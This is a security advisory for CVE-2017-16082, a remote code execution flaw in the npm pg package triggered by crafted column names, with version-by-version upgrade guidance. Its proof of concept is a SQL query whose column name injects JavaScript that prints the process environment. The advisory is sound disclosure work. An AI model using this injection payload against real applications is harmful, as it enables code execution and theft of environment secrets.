Advisory
GHSA-wc9v-mj63-m9g5
Also known as: CVE-2017-16082
Summary
Remote Code Execution in pg
Details
Affected versions of pg contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.
There are two specific scenarios in which it is likely for an application to be vulnerable:
- The application executes unsafe, user-supplied sql which contains malicious column names.
- The application connects to an untrusted database and executes a query returning results which contain a malicious column name.
Proof of Concept
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
})
Recommendation
- Version 2.x.x: Update to version 2.11.2 or later.
- Version 3.x.x: Update to version 3.6.4 or later.
- Version 4.x.x: Update to version 4.5.7 or later.
- Version 5.x.x: Update to version 5.2.1 or later.
- Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )
- Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )
Severity
Critical Basis: The source's own band: CRITICAL
Dates
- Published
- 2018-07-24 19:44 UTC
- Modified
- 2023-11-08 03:59 UTC
Affected packages and fixes
| Package | Affected | Fix |
|---|---|---|
| pg | Earlier versions | npm install [email protected] |
| pg | introduced 3.0.0, fixed 3.6.4 | npm install [email protected] |
| pg | introduced 4.0.0, fixed 4.5.7 | npm install [email protected] |
| pg | introduced 5.0.0, fixed 5.2.1 | npm install [email protected] |
| pg | introduced 6.0.0, fixed 6.0.5 | npm install [email protected] |
| pg | introduced 6.1.0, fixed 6.1.6 | npm install [email protected] |
| pg | introduced 6.2.0, fixed 6.2.5 | npm install [email protected] |
| pg | introduced 6.3.0, fixed 6.3.3 | npm install [email protected] |
| pg | introduced 6.4.0, fixed 6.4.2 | npm install [email protected] |
| pg | introduced 7.0.0, fixed 7.0.2 | npm install [email protected] |
| pg | introduced 7.1.0, fixed 7.1.2 | npm install [email protected] |
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Links
Source
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0